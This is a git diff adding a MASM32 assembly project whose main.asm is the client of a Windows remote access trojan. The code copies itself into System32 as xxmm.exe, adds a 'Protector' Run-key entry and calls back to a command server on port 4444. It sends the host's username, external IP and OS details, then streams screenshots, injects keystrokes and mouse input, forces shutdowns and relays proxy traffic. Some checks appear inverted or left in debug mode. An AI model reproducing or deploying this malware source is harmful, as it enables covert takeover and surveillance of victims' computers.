diff --git a/Client/Client.sln b/Client/Client.sln new file mode 100644 index 0000000..29b2ac8 --- /dev/null +++ b/Client/Client.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.26228.10 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Client", "Client\Client.vcxproj", "{1436A402-8431-4A71-B4E7-08CB1F077127}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {1436A402-8431-4A71-B4E7-08CB1F077127}.Debug|x64.ActiveCfg = Debug|x64 + {1436A402-8431-4A71-B4E7-08CB1F077127}.Debug|x64.Build.0 = Debug|x64 + {1436A402-8431-4A71-B4E7-08CB1F077127}.Debug|x86.ActiveCfg = Debug|Win32 + {1436A402-8431-4A71-B4E7-08CB1F077127}.Debug|x86.Build.0 = Debug|Win32 + {1436A402-8431-4A71-B4E7-08CB1F077127}.Release|x64.ActiveCfg = Release|x64 + {1436A402-8431-4A71-B4E7-08CB1F077127}.Release|x64.Build.0 = Release|x64 + {1436A402-8431-4A71-B4E7-08CB1F077127}.Release|x86.ActiveCfg = Release|Win32 + {1436A402-8431-4A71-B4E7-08CB1F077127}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Client/Client/Client.user b/Client/Client/Client.user new file mode 100644 index 0000000..be25078 --- /dev/null +++ b/Client/Client/Client.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/Client/Client/Client.vcxproj b/Client/Client/Client.vcxproj new file mode 100644 index 0000000..a3218e9 --- /dev/null +++ b/Client/Client/Client.vcxproj @@ -0,0 +1,81 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {1436A402-8431-4A71-B4E7-08CB1F077127} + + + + Application + true + v141 + + + Application + false + v141 + + + Application + true + v141 + + + Application + false + v141 + + + + + + + + + + + + + + + + + + + + + + + + + + Document + + + + + + + + + + + \ No newline at end of file diff --git a/Client/Client/Resource.inc b/Client/Client/Resource.inc new file mode 100644 index 0000000..d148f84 --- /dev/null +++ b/Client/Client/Resource.inc @@ -0,0 +1 @@ +WM_CONNECT equ 500 \ No newline at end of file diff --git a/Client/Client/Resource.rc b/Client/Client/Resource.rc new file mode 100644 index 0000000..0d91e5b Binary files /dev/null and b/Client/Client/Resource.rc differ diff --git a/Client/Client/main.asm b/Client/Client/main.asm new file mode 100644 index 0000000..c625d0d --- /dev/null +++ b/Client/Client/main.asm @@ -0,0 +1,1042 @@ +.486 +.model flat, stdcall +.mmx +.xmm +option casemap: none + + +includelib C:\masm32\lib\kernel32.lib +includelib C:\masm32\lib\user32.lib +includelib C:\masm32\lib\gdi32.lib +includelib C:\masm32\lib\ws2_32.lib +includelib C:\masm32\lib\gdiplus.lib +includelib C:\masm32\lib\ole32.lib +includelib C:\masm32\lib\comctl32.lib +includelib C:\masm32\lib\version.lib +includelib C:\masm32\lib\advapi32.lib +includelib C:\masm32\lib\msvcrt.lib +includelib C:\masm32\lib\wininet.lib +includelib C:\masm32\lib\psapi.lib +includelib C:\masm32\lib\shlwapi.lib + + +; +include C:\masm32\include\wininet.inc +include C:\masm32\include\ole32.inc +include C:\masm32\include\kernel32.inc +include C:\masm32\include\version.inc +include C:\masm32\include\windows.inc +include C:\masm32\include\advapi32.inc +include C:\masm32\include\user32.inc +include C:\masm32\include\gdi32.inc + +include C:\masm32\include\masm32.inc +include C:\masm32\include\ws2_32.inc +include C:\masm32\include\gdiplus.inc + +include C:\masm32\include\comctl32.inc +include C:\masm32\include\msvcrt.inc +include C:\masm32\macros\macros.asm +include C:\masm32\include\psapi.inc +include c:\masm32\include\shlwapi.inc + +;include C:\masm32\MasmBasic\MasmBasic.inc +include Resource.inc + + + + +SETTINGS STRUCT + port DD 0 + URL BYTE 256 dup(?) + Sys32 DWORD 0 + Startup DWORD 0 +SETTINGS ENDS + +WinMain proto :DWORD,:DWORD,:DWORD,:DWORD +Remote proto :DWORD +UnicodeStr proto :DWORD, :DWORD + +SendCursorInfo proto :DWORD +MouseAction proto :DWORD +GetSysVer proto +GetExIP proto :DWORD +KeyAction proto :DWORD +RProxy proto +ConnectToWebServer proto :PTR BYTE, :DWORD + +FN_ISWOW64PROCESS typedef proto stdcall :HANDLE, :PBOOL +LPFN_ISWOW64PROCESS typedef ptr FN_ISWOW64PROCESS + +.CONST + +sCLSID_PNG textequ <{0557cf401h, 01a04h, 011d3h,\ + {09ah, 073h, 000h, 00h, 0f8h, 01eh, 0f3h, 02eh}}> + +.data + + iheight dd 0 + iwidth dd 0 + wsa WSADATA <> + sa sockaddr_in <> + ImageInfo ImageCodecInfo <> + encoders_count dd 0 + encoders_size dd 0 + ImgType db "image//png",0 + dropspot db 'C:\Windows\System32\xxmm.exe', 0 + Wow64Drop db 'C:\Windows\SysWOW64\xxmm.exe', 0 + Protec db 'Protector', 0 + AdminErr db 'Please run with Administrator Privileges', 0 + RegPath db 'Software\Microsoft\Windows\CurrentVersion\Run',0 + ;imgpath db 'test.png',0 + kernel32 db 'kernel32', 0 + Sys32 db 'C:\Windows\System32', 0 + SysWow db 'C:\Windows\SysWOW64', 0 + IP db '127.0.0.1',0 + CLSIDImageEncoderPNG GUID sCLSID_PNG + IsRProx dd 0 + port dd 4444 + Knel db 'kernel32', 0 + wow64 db 'IsWow64Process', 0 + ;szData dd 9052 + ;szBytes dd 15872 + szEBytes dd 14848 + li LARGE_INTEGER <> + ul LARGE_INTEGER <> + pstatstg STATSTG <> + istream dd 0 + mInput INPUT <> + mwSS REAL4 65536.0 + R4 dd 0.0 + data SETTINGS <0> + wTitle db " " + wCna db " " + +.data? + hInstance dd ? + CommandLine dd ? + sock dd ? + StartupInfo GdiplusStartupInput + token dd ? + pPicture dd ? + ;pImageCodecInfo dd ? + clsid dd ? + packSize dd ? + error dd ? + hGlobal dd ? + pMemory dd ? + iSize dd ? + + LDOWN dd ? + vInfo dd ? + +.code + + +main proc + LOCAL szSize:DWORD + LOCAL szThis[MAX_PATH]:BYTE + ;LOCAL szTBack[MAX_PATH]:BYTE + LOCAL hFile:HANDLE + ;LOCAL ERR:DWORD + LOCAL pe32:PROCESSENTRY32 + LOCAL hSnapshot:HANDLE + LOCAL ppid:DWORD + LOCAL pid:DWORD + LOCAL fBuf[16141]:BYTE + ;LOCAL comp:DWORD + LOCAL fhFile:HANDLE + LOCAL hMod:HMODULE + LOCAL sui:STARTUPINFO + LOCAL pi:PROCESS_INFORMATION + ;LOCAL OldValue:DWORD + LOCAL isWow64:DWORD + LOCAL hKey:HKEY + LOCAL Reg:DWORD + LOCAL rCheck[256]:BYTE + LOCAL szrSize:DWORD + LOCAL fnIsWow64Process:LPFN_ISWOW64PROCESS + LOCAL isDBGpresent:BYTE + + assume fs:nothing + mov eax, fs:[30h] + mov al, [eax + 2h] + mov isDBGpresent, al + + cmp isDBGpresent, 1 + jnz DebuggerIsPresent + + + + + + cmp data.Sys32, 0 + jmp DoNotMove ;;;;;;;;change from je to jmp if debugging + + GetPID: + xor eax, eax + mov pid, eax + + + mov pe32.dwSize, sizeof PROCESSENTRY32 + invoke CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0 + mov hSnapshot, eax + invoke Process32First, hSnapshot, addr pe32 + invoke GetCurrentProcessId + mov pid, eax + + FindPID: + + mov eax, pe32.th32ProcessID + cmp pid, eax + je Continue + + invoke Process32Next, hSnapshot, addr pe32 + + jmp FindPID + + Continue: + mov eax, pe32.th32ParentProcessID + mov ppid, eax + invoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, ppid + mov hFile, eax + invoke EnumProcessModules, hFile, addr hMod, sizeof hMod, addr szSize + invoke GetModuleFileNameEx, hFile, hMod, addr szThis, sizeof szThis + cmp Reg, 1 + je GetFilePath + invoke CreateFile, addr szThis, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL + + mov hFile, eax + ; invoke SetFilePointer, hFile, szBytes, NULL, FILE_BEGIN + ;NOP + ; invoke ReadFile, hFile, addr data, 268, addr szSize, NULL + + ;printf("Port: %i URL: %s, Checked?: %i\n", data.port, data.URL, data.Sys32 ) + ;invoke GetLastError + ;printf("ReadFile Error: %i\nBytes Read:%i\n Sys32?:%i\n", eax, szSize, data.Sys32) + + + + invoke PathRemoveFileSpec, addr szThis + ;;invoke StrLen, addr szThis + mov ebx, sizeof Sys32 + add eax, 1 + cmp eax, ebx + je DoNotMove + ;printf("%s\n%s\n%i\n%i\n", addr szThis, addr Sys32, eax, ebx) + + invoke SetFilePointer, hFile, 0, NULL, FILE_BEGIN + ;printf("SetFilePointer\n") + invoke ReadFile, hFile, addr fBuf, szEBytes, addr szSize, NULL + ;printf("ReadFile") + invoke CloseHandle,hFile + ;printf("HandleClosed\n") + invoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, ppid + ;printf("ProcessOpened") + invoke TerminateProcess,eax, 0 + ;invoke GetLastError + ;printf("Terminate Process Error: %i\n", eax) + invoke GetModuleHandle, addr Knel + invoke GetProcAddress, eax, addr wow64 + cmp eax, 1 + jb ntWow + mov fnIsWow64Process,eax + invoke GetCurrentProcess + mov ebx, eax + invoke fnIsWow64Process, ebx, addr isWow64 + cmp eax, 1 + jb ntWow + invoke IsWow64Process, ebx, addr isWow64 + ;printf("IsWow64: ", isWow64) + cmp isWow64, 1 + je IsWow + ntWow: + mov esi, OFFSET dropspot + jmp ContWow + IsWow: + mov esi, OFFSET Wow64Drop + + ContWow: + + invoke CreateFile, esi, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL + mov fhFile, eax + invoke GetLastError + cmp eax, 5 + je AdminRights + + invoke WriteFile, fhFile, addr fBuf,szEBytes, addr szSize, NULL + + ;printf("WriteFile Error: %i", eax) + invoke CloseHandle, fhFile + invoke CreateProcess,NULL, esi, NULL, NULL, FALSE, NULL, NULL, NULL, addr sui,addr pi + + + ;invoke Sleep, 1000000 + + invoke ExitProcess, 0 + + + + + + + DoNotMove: + + cmp data.Startup, 0 + je NoStartup + invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, addr RegPath, 0, KEY_READ,addr hKey + mov szrSize, 256 + invoke RegQueryValueEx, hKey, chr$("Protector"), 0, 0,addr rCheck ,addr szrSize + cmp eax, 0 + je NoStartup + invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, addr RegPath, 0, KEY_ALL_ACCESS , addr hKey + cmp eax, 0 + jnz AdminRights + mov Reg, 1 + jmp GetPID + GetFilePath: + ;printf("%s", addr szThis) +;; invoke StrLen, addr szThis + INVOKE RegSetValueEx, hKey, addr Protec, 0, REG_SZ, addr szThis, eax + cmp eax, 0 + jnz AdminRights + cmp eax, 0 + jnz AdminRights + + + + + NoStartup: + ; invoke GetModuleFileName, NULL, addr szThis, MAX_PATH + ;printf("File Name: %s\n", addr szThis) + + + + ;invoke CreateFile, addr szThis, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL + ;mov hFile, eax + ;invoke SetFilePointer, hFile, szData, NULL, FILE_BEGIN + ;NOP + ;invoke ReadFile, hFile, addr data, 268, addr szSize, NULL + ;invoke CloseHandle,hFile + ;printf("Port: %i URL: %s, Checked?: %i\n", data.port, data.URL, data.Sys32 ) + ;invoke Sleep, 1000000 + xor eax,eax + invoke WSAStartup, 0202h, addr wsa + .if eax!=NULL + invoke ExitProcess, eax + .else + invoke GetModuleHandle, NULL + mov hInstance,eax + invoke GetCommandLine + mov CommandLine,eax + invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT + invoke ExitProcess,eax + .endif + DebuggerIsPresent: + AdminRights: + invoke MessageBox, NULL, OFFSET AdminErr, NULL, NULL + + invoke ExitProcess, 0 + ret +main endp + +WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD + LOCAL wc:WNDCLASSEX + LOCAL msg:MSG + LOCAL hwnd:HWND + + mov wc.cbSize,SIZEOF WNDCLASSEX + mov wc.style, CS_HREDRAW or CS_VREDRAW + mov wc.lpfnWndProc, OFFSET WndProc + mov wc.cbClsExtra,NULL + mov wc.cbWndExtra,NULL + push hInstance + pop wc.hInstance + mov wc.hbrBackground,COLOR_BTNFACE+1 + mov wc.lpszMenuName,NULL + mov wc.lpszClassName,OFFSET wCna + + invoke LoadIcon,NULL,IDI_APPLICATION + mov wc.hIcon,eax + mov wc.hIconSm,eax + + invoke LoadCursor,NULL,IDC_ARROW + mov wc.hCursor,eax + + invoke RegisterClassEx, addr wc + INVOKE CreateWindowEx,NULL,addr wCna, addr wTitle,\ + WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\ + CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\ + hInst,NULL + mov hwnd,eax + + ;invoke ShowWindow, hwnd,SW_SHOWNORMAL;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + ;invoke UpdateWindow, hwnd + + .WHILE TRUE + invoke GetMessage, ADDR msg,NULL,0,0 + .BREAK .IF (!eax) + invoke TranslateMessage, ADDR msg + invoke DispatchMessage, ADDR msg + .ENDW + + mov eax,msg.wParam + ret +WinMain endp + +WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM +LOCAL packet:DWORD +LOCAL Zero:DWORD +LOCAL hToken:HANDLE + +LOCAL tkp:TOKEN_PRIVILEGES + .IF uMsg==WM_DESTROY + invoke PostQuitMessage,NULL + .ELSEIF uMsg==WM_CREATE + ;invoke Remote + invoke SendMessage, hWnd, WM_CONNECT, 100, 0 + + .elseif uMsg == WM_CONNECT + .if wParam == 100 + invoke socket, AF_INET,SOCK_STREAM, 0 + .if eax==INVALID_SOCKET + ;error + .endif + mov sock, eax + mov sa.sin_family, AF_INET + ;;invoke inet_addr,addr data.URL + invoke inet_addr,addr IP + mov sa.sin_addr, eax + ;;invoke htons, data.port + invoke htons, port + mov sa.sin_port, ax + mov eax, SOCKET_ERROR + ;invoke GetSysVer + retry: + .while eax == SOCKET_ERROR + invoke connect, sock, addr sa, sizeof sa + + .endw + mov Zero, 0 + invoke send, sock, addr Zero, 4, 0 + invoke GetSysVer + .while eax != INVALID_SOCKET + + + + mov packet, NULL + + + invoke recv, sock, addr packet, 4, 0 + cmp eax, 0 + je retry + .if packet == -1 + invoke ExitProcess, 0 + + .endif + .if packet == 2 + invoke CreateThread, NULL, NULL, Remote, NULL, NULL, NULL + ;invoke Remote + ;cmp eax, 0 + ;jne retry + .endif + .if packet == 5 + invoke Remote, 5 + .endif + .if packet == 6 + invoke GetCurrentProcess + mov ebx, eax + assume esi:ptr TOKEN_PRIVLEGES + invoke OpenProcessToken, ebx, TOKEN_ADJUST_PRIVILEGES OR TOKEN_QUERY, addr hToken + invoke LookupPrivilegeValue, 0, chr$("SeShutdownPrivilege"), addr tkp.Privileges.Luid + mov tkp.PrivilegeCount, 1 + ;mov tkp.Privileges.LUID.LowPart, sdnv.LowPart + ;mov tkp.Privileges.LUID.HighPart, sdnv.HighPart + mov tkp.Privileges.Attributes, SE_PRIVILEGE_ENABLED + + invoke AdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, NULL, 0 + + invoke ExitWindowsEx,EWX_FORCEIFHUNG, SHTDN_REASON_MAJOR_SYSTEM + .endif + .if packet == 7 + invoke CreateThread, NULL, NULL, RProxy, NULL, NULL, NULL + + + .endif + .endw + INVOKE SendMessage, hWnd, WM_CONNECT, 100, 0 + + .endif + .ELSE + invoke DefWindowProc,hWnd,uMsg,wParam,lParam + ret + .ENDIF + + xor eax,eax + ret +WndProc endp + +RProxy proc + LOCAL rpSock :DWORD + LOCAL webSock :DWORD + LOCAL irps :DWORD + LOCAL tv:timeval + LOCAL hHeap:HANDLE + LOCAL wFds:fd_set + LOCAL Rport :DWORD + LOCAL ioul :DWORD + LOCAL Bsize :DWORD + LOCAL bytes_avail :DWORD + + xor eax, eax + mov Rport, eax + + invoke GetProcessHeap + mov hHeap, eax + + invoke socket, AF_INET, SOCK_STREAM, 0 + mov rpSock, eax + invoke connect, rpSock, addr sa, sizeof sa + + mov irps, 7 + + invoke send, rpSock, addr irps, 4, 0 + + mov ioul, 1 + invoke ioctlsocket, webSock, FIONBIO, addr ioul + + + + mov tv.tv_sec, 10 + mov tv.tv_usec, 0 + mov [wFds.fd_set.fd_count], 0 + mov eax, rpSock + mov [wFds.fd_set.fd_array[0]], eax + mov [wFds.fd_set.fd_count], 1 + + invoke select, 0, addr wFds, NULL, NULL, addr tv + .if eax > 0 + invoke recv, rpSock, addr Bsize, 4, 0 + INVOKE HeapAlloc, hHeap, HEAP_ZERO_MEMORY, Bsize + mov esi, eax + invoke recv, rpSock, esi, Bsize, 0 + invoke WSAGetLastError + invoke recv, rpSock, addr Rport, 4, 0 + invoke WSAGetLastError + .else + jmp err + .endif + + .if Rport > 443 + jmp err + .endif + .if Rport < 80 + jmp err + .endif + + invoke ConnectToWebServer, esi, Rport + cmp eax, 0 + jz err + + mov webSock, eax + + invoke HeapFree, hHeap, 0, esi + + + + .if Rport == 443 + mov ioul, 200 + invoke send, rpSock, addr ioul, 4, 0 + .if eax < 1 + invoke WSAGetLastError + jmp err + .endif + .endif + +; .if eax < 1 +; invoke WSAGetLastError +; jmp err +; .endif + + + xor ebx, ebx + + + SelSend: + mov tv.tv_sec, 2 + mov tv.tv_usec, 0 + mov [wFds.fd_set.fd_count], 0 + mov eax, rpSock + mov [wFds.fd_set.fd_array[0]], eax + mov eax, webSock + mov [wFds.fd_set.fd_count], 1 + mov [wFds.fd_set.fd_array[4]], eax + + + mov [wFds.fd_set.fd_count], 2 + + + + invoke select, 0, addr wFds, NULL, NULL, addr tv + ;invoke WSAGetLastError + + .if eax != SOCKET_ERROR + cmp ebx, 5 + ja err + .if eax > 0 +; .if esi +; cld +; lea edi, esi +; mov ecx, (SIZEOF esi) +; mov al, 0 +; rep stosb + ;.endif + invoke __WSAFDIsSet, rpSock, addr wFds + .if eax + invoke ioctlsocket, rpSock, FIONREAD, addr bytes_avail + .if bytes_avail + INVOKE HeapAlloc, hHeap, HEAP_ZERO_MEMORY, bytes_avail + mov esi, eax + ;pop eax + invoke recv, rpSock, esi, bytes_avail, 0 + .if eax != bytes_avail + jmp err + .endif + .if eax == SOCKET_ERROR + jmp err + .endif + .if eax != 0 + invoke send, webSock, esi, eax, 0 + .endif + .if eax != bytes_avail + jmp err + .endif + Invoke HeapFree, hHeap, 0, esi + .endif + .endif + invoke __WSAFDIsSet, webSock, addr wFds + .if eax + invoke ioctlsocket, webSock, FIONREAD, addr bytes_avail + .if bytes_avail + INVOKE HeapAlloc, hHeap, HEAP_ZERO_MEMORY, bytes_avail + mov esi, eax + ;pop eax + invoke recv, webSock, esi, bytes_avail, 0 + .if eax != bytes_avail + jmp err + .endif + .if eax == SOCKET_ERROR + jmp err + .endif + invoke send, rpSock, esi, bytes_avail, 0 + .if eax != bytes_avail + jmp err + .endif + Invoke HeapFree, hHeap, 0, esi + + .else + add ebx, 1 + .endif + + .endif + .else + add ebx, 1 + .endif + .endif + jmp SelSend + + + + + + + + + err: + ret + + RProxy endp + + ConnectToWebServer proc address:PTR BYTE, Rport:DWORD + LOCAL sver :sockaddr_in + LOCAL hp :PTR hostent + LOCAL wSock :DWORD + ;;assume eax:PTR hostent + ;;assume ecx: PTR sockaddr_in + + + + invoke htons, Rport + mov sver.sin_port, ax + invoke gethostbyname, address + ;invoke WSAGetLastError + mov eax, [eax+12] + mov eax, [eax] + mov eax, [eax] + mov sver.sin_addr, eax + mov sver.sin_family, AF_INET + + invoke socket, AF_INET, SOCK_STREAM, 0 + mov wSock, eax + + invoke connect, wSock, addr sver, 16 + + .if eax==SOCKET_ERROR + invoke WSAGetLastError + .endif + + mov eax, wSock + + ret 0 + ConnectToWebServer endp + + Remote proc Screeny:DWORD + LOCAL sSend:DWORD + LOCAL tO:timeval + LOCAL rdFds:fd_set + LOCAL erFds:fd_set + LOCAL packet:DWORD + LOCAL rSock:DWORD + LOCAL rMote:DWORD + ;LOCAL encoderClsid:GUID + + mov rMote, 2 + .IF Screeny == 5 + mov rMote, 5 + .endif + invoke socket, AF_INET,SOCK_STREAM, 0 + mov rSock, eax + invoke connect, rSock, addr sa, sizeof sa + + invoke send, rSock, addr rMote, 4, 0 + + mov eax, OFFSET StartupInfo + mov GdiplusStartupInput.GdiplusVersion[eax], 1 + invoke GdiplusStartup, addr token, addr StartupInfo, NULL + cmp eax, eax + jnz fail + + ;invoke GetEncoderClsid,ADDR ImgType,ADDR clsid + ;mov clsid, eax + ;invoke GUIDFromString, addr guid, addr clsid + invoke GetDC, HWND_DESKTOP + test eax, eax + jz Fgdiplus_shutdown + mov esi, eax + + invoke GetSystemMetrics, SM_CYSCREEN + mov [iheight], eax + invoke GetSystemMetrics, SM_CXSCREEN + mov [iwidth], eax + + + cmp Screeny, 5 + je SCREENY + .WHILE TRUE +SCREENY: + xor ebx,ebx + dec ebx + Recheck: + mov tO.tv_sec, 0 + mov tO.tv_usec, 500000 + + mov [erFds.fd_set.fd_count], 0 + mov eax, rSock + mov [erFds.fd_set.fd_array[0]], eax + mov [erFds.fd_set.fd_count], 1 + + mov [rdFds.fd_set.fd_array[0]], eax + + mov eax, [erFds.fd_set.fd_count] + mov [rdFds.fd_set.fd_count], eax + + + + inc ebx + cmp ebx, 3 + ja Fgdiplus_shutdown + invoke select, 0, addr rdFds, NULL, addr erFds, addr tO + cmp eax, 1 + + jb Recheck + + invoke recv, rSock, addr sSend, 4, 0 + + + grab_screen: + + invoke CreateCompatibleBitmap, esi, [iwidth], [iheight] + test eax,eax + jz Frelease_desktop_dc + mov ebx, eax + invoke CreateCompatibleDC, esi + test eax, eax + jz Fdelete_bitmap + mov edi, eax + invoke SelectObject, edi, ebx + test eax, eax + jz Fdelete_dc + invoke BitBlt, edi, 0, 0, [iwidth], [iheight], esi, 0, 0, SRCCOPY + test eax, eax + jz Fdelete_dc + invoke GdipCreateBitmapFromHBITMAP, ebx,NULL, addr pPicture + test eax, eax + jnz Fdelete_dc + invoke CreateStreamOnHGlobal, NULL, TRUE, addr istream + + + + + invoke GetHGlobalFromStream,istream ,ADDR hGlobal + ;invoke memcopy,offset GUID_ImageEncoderPNG, addr encoderClsid,SIZEOF GUID + + ; invoke GdipSaveImageToFile, [pPicture], addr imgpath, offset CLSIDImageEncoderPNG, NULL + invoke GdipSaveImageToStream, [pPicture], istream, offset CLSIDImageEncoderPNG, 0 + invoke GlobalLock, hGlobal + mov pMemory, eax + + + mov dword ptr[li], 0 ;BEAUTIFUL + mov dword ptr[ul], 0 ;========= + mov edx, OFFSET li ; UL CONTAINS LOW PART + mov eax, istream ;================ + push OFFSET ul + push STREAM_SEEK_END + push dword ptr [edx+4] + push dword ptr [edx] + push eax + mov eax, dword ptr [eax] + call IStream.Seek[eax] + + mov eax, OFFSET ul + mov eax, DWORD PTR[eax] + mov iSize, eax + + invoke send, rSock, addr ul, 4 , 0 + cmp eax, INVALID_SOCKET + je Fdelete_dc + invoke send, rSock, pMemory , iSize , 0 + cmp eax, INVALID_SOCKET + je Fdelete_dc + + invoke GdipDisposeImage, [pPicture] + invoke GlobalFree, pMemory + + + + delete_dc: + invoke DeleteObject, edi + delete_bitmap: + invoke DeleteObject, ebx + + invoke SendCursorInfo, rSock + cmp eax, 0 + jb Fdelete_dc + cmp Screeny, 5 + jz SCREENSHOT + CheckPacket: + invoke recv, rSock, addr packet, 4, 0 + cmp packet, 0 + je NoAction + + + KeyA: + invoke KeyAction, rSock + + MouseA: + invoke MouseAction, rSock + + NoAction: + + invoke Sleep, 75 + + .ENDW + + SCREENSHOT: + + release_desktop_dc: + invoke ReleaseDC, HWND_DESKTOP, esi + gdiplus_shutdown: + invoke GdiplusShutdown, [token] + mov eax, 1 + ret + + + Fdelete_dc: + invoke GlobalFree, pMemory + invoke DeleteObject, edi + + Fdelete_bitmap: + invoke DeleteObject, ebx + Frelease_desktop_dc: + invoke ReleaseDC, HWND_DESKTOP, esi + Fgdiplus_shutdown: + invoke GdiplusShutdown, [token] + + fail: + xor eax, eax + ret + + + Remote endp + + SendCursorInfo PROC rSock:DWORD + LOCAL ps:POINT + LOCAL cInfo:CURSORINFO + + invoke GetCursorPos, addr ps + invoke send, rSock, addr ps, sizeof ps, 0 + mov cInfo.cbSize, sizeof CURSORINFO + invoke GetCursorInfo, addr cInfo + invoke send, rSock, addr cInfo, sizeof CURSORINFO, 0 + cmp eax, 0 + jb return1 + ret 0 + return1: + ret 1 + SendCursorInfo endp + + KeyAction PROC rSock:DWORD + LOCAL KEY:WORD + LOCAL kInput:INPUT + + mov kInput._type, INPUT_KEYBOARD + mov kInput.ki.time, 0 + mov kInput.ki.dwFlags, KEYEVENTF_SCANCODE + invoke recv, rSock, addr KEY, 2, 0 + cmp KEY, 0 + jz return0 + mov kInput.ki.wVk, 0 + invoke MapVirtualKey, KEY, MAPVK_VK_TO_VSC + mov kInput.ki.wScan, ax + invoke SendInput, 1, addr kInput, sizeof INPUT + mov kInput.ki.dwFlags, KEYEVENTF_SCANCODE or KEYEVENTF_KEYUP + invoke SendInput, 1, addr kInput, sizeof INPUT + + + + + return0: + ret + KeyAction endp + MouseAction PROC rSock:DWORD + LOCAL MDOWN:DWORD + LOCAL pr:POINT + ;invoke RtlZeroMemory,addr inputx,sizeof INPUT + mov mInput._type, INPUT_MOUSE + mov mInput.mi.time, 0 + mov mInput.mi.dwFlags, MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_MOVE + invoke recv, rSock, addr pr, sizeof pr, 0 + invoke recv, rSock, addr MDOWN, 4, 0 + cmp pr.x, 0 + je return0 + invoke GetSystemMetrics, SM_CXSCREEN + cvtsi2ss xmm0, eax + movss xmm1, dword ptr [mwSS] + divss xmm1, xmm0 + cvtsi2ss xmm0, pr.x + mulss xmm0, xmm1 + cvttss2si eax, xmm0 + mov mInput.mi._dx, eax + invoke GetSystemMetrics, SM_CYSCREEN + cvtsi2ss xmm0, eax + movss xmm1, dword ptr [mwSS] + divss xmm1, xmm0 + cvtsi2ss xmm0, pr.y + mulss xmm0, xmm1 + cvttss2si eax, xmm0 + mov mInput.mi.dy, eax + invoke SendInput, 1, addr mInput, 28 + + cmp MDOWN, 0 + je return0 + cmp MDOWN, 1 + je LEFTDOWN + cmp MDOWN, 2 + je LEFTUP + cmp MDOWN, 3 + je RIGHTDOWN + cmp MDOWN, 4 + je RIGHTUP + RIGHTDOWN: + mov mInput.mi.dwFlags, MOUSEEVENTF_RIGHTDOWN + invoke SendInput, 1, addr mInput, sizeof INPUT + ;invoke GetLastError + jmp return0 + RIGHTUP: + mov mInput.mi.dwFlags, MOUSEEVENTF_RIGHTUP + invoke SendInput, 1, addr mInput, sizeof INPUT + ;invoke GetLastError + jmp return0 + LEFTDOWN: + mov mInput.mi.dwFlags, MOUSEEVENTF_LEFTDOWN + invoke SendInput, 1, addr mInput, sizeof INPUT + ;invoke GetLastError + jmp return0 + LEFTUP: + mov mInput.mi.dwFlags, MOUSEEVENTF_LEFTUP + invoke SendInput, 1, addr mInput, sizeof INPUT + return0: + ret 0 + MouseAction endp + GetSysVer PROC + LOCAL hKey:DWORD + LOCAL buffer[50]:BYTE + LOCAL szsize:DWORD + LOCAL LANGIDs:DWORD + + mov szsize, 50 + invoke GetUserName, addr buffer, addr szsize + + invoke send, sock, addr szsize, sizeof szsize, 0 + invoke send, sock, addr buffer, szsize, 0 + invoke GetExIP, addr buffer + + + mov szsize, sizeof buffer + invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, chr$("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"), 0, KEY_READ,addr hKey + invoke RegQueryValueEx, hKey, chr$("ProductName"), 0, 0,addr buffer,addr szsize + ;printf("%s", addr buffer) + + invoke send, sock, addr szsize, sizeof szsize, 0 + + + + invoke send, sock, addr buffer, szsize, 0 + invoke GetSystemDefaultUILanguage + mov LANGIDs, eax + invoke send, sock, addr LANGIDs, 4, 0 + ;invoke Sleep, 5000000 + + ret + GetSysVer ENDP + + GetExIP PROC pName:DWORD + LOCAL buffer[200]:BYTE + LOCAL read:DWORD + LOCAL net:DWORD + LOCAL conn:DWORD + mov buffer, 0 + invoke InternetOpen, pName, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0 + mov net, eax + invoke InternetOpenUrl,net, chr$("http://api.ipify.org"), NULL, 0, INTERNET_FLAG_RELOAD,0 + ;invoke GetLastError + ;printf("%i\n", eax) + mov conn, eax + invoke InternetReadFile,conn, addr buffer, sizeof buffer, addr read + ;printf("%s\n%s\n", addr buffer, pName) + + invoke send, sock, addr read, sizeof read, 0 + cmp read, 256 + ja tooLarge + invoke send, sock, addr buffer, read, 0 + tooLarge: + ret + + + GetExIP ENDP + + + +end main + diff --git a/Fork/Fork.sln b/Fork/Fork.sln new file mode 100644 index 0000000..24b7ebb --- /dev/null +++ b/Fork/Fork.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.26228.10 +MinimumVisualStudioVersion = 10.0.40219.1 